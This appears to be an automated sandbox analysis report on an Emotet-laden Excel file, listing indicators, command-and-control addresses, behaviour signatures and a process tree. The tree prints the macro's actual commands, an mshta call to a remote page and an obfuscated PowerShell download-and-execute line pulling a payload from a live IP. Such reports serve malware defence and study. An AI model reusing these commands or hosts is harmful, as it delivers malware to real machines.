Analysis
- max time kernel
146s - max time network
151s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
31/01/2022, 00:58
General
- Target tmp_m0bbztm.xls
- Size 47KB
- Sample220131-bbh49achfl
- SHA256 b91341597e38eb73d64f050bb5102db5bc63121b0e927a00fc96d71c01acbce4
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.172/mm/nn/se.html
Extracted
-
ps1
-
ps1.dropper
http://91.240.118.172/mm/nn/se.png
Extracted
-
emotet
-
Epoch5
-
74.207.230.120:8080
-
139.196.72.155:8080
-
37.44.244.177:8080
-
37.59.209.141:8080
-
116.124.128.206:8080
-
217.182.143.207:443
-
54.37.228.122:443
-
203.153.216.46:443
-
168.197.250.14:80
-
207.148.81.119:8080
-
195.154.146.35:443
-
78.46.73.125:443
-
191.252.103.16:80
-
210.57.209.142:8080
-
185.168.130.138:443
-
142.4.219.173:8080
-
118.98.72.86:443
-
78.47.204.80:443
-
159.69.237.188:443
-
190.90.233.66:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp_m0bbztm.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "3⤵
-
-
C:\Windows\system32\cmd.execmd3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.172/mm/nn/se.html4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat7⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer8⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yfhqckx\follefdfsizidp.lyl",yADXbKQdKjJb9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Yfhqckx\follefdfsizidp.lyl",DllRegisterServer10⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2092 -s 16605⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1108-738-0x0000000004FB0000-0x0000000004FD7000-memory.dmp
memory/1108-723-0x00000000048B0000-0x00000000048D7000-memory.dmp
memory/1108-751-0x00000000056B0000-0x00000000056D7000-memory.dmp
memory/1108-748-0x0000000005630000-0x0000000005657000-memory.dmp
memory/1108-746-0x0000000005440000-0x0000000005467000-memory.dmp
memory/1108-744-0x0000000005350000-0x0000000005377000-memory.dmp
memory/1108-740-0x0000000005090000-0x00000000050B7000-memory.dmp
memory/1108-726-0x0000000004EA0000-0x0000000004EC7000-memory.dmp
memory/2932-337-0x0000016302810000-0x000001631A980000-memory.dmp
memory/2932-422-0x0000016302810000-0x000001631A980000-memory.dmp
memory/2932-268-0x00000163022D0000-0x00000163022F2000-memory.dmp
memory/2932-287-0x000001631AB80000-0x000001631ABBC000-memory.dmp
memory/2932-298-0x000001631AFE0000-0x000001631B056000-memory.dmp
memory/2932-505-0x0000016302810000-0x000001631A980000-memory.dmp
memory/3440-587-0x0000000004CD0000-0x0000000004CF7000-memory.dmp
memory/3532-720-0x0000000000B20000-0x0000000000B47000-memory.dmp
memory/3788-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-119-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-117-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-118-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-129-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp
memory/3788-128-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp
memory/3788-760-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-759-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-761-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3788-762-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp
memory/3808-584-0x0000000000BF0000-0x0000000000C17000-memory.dmp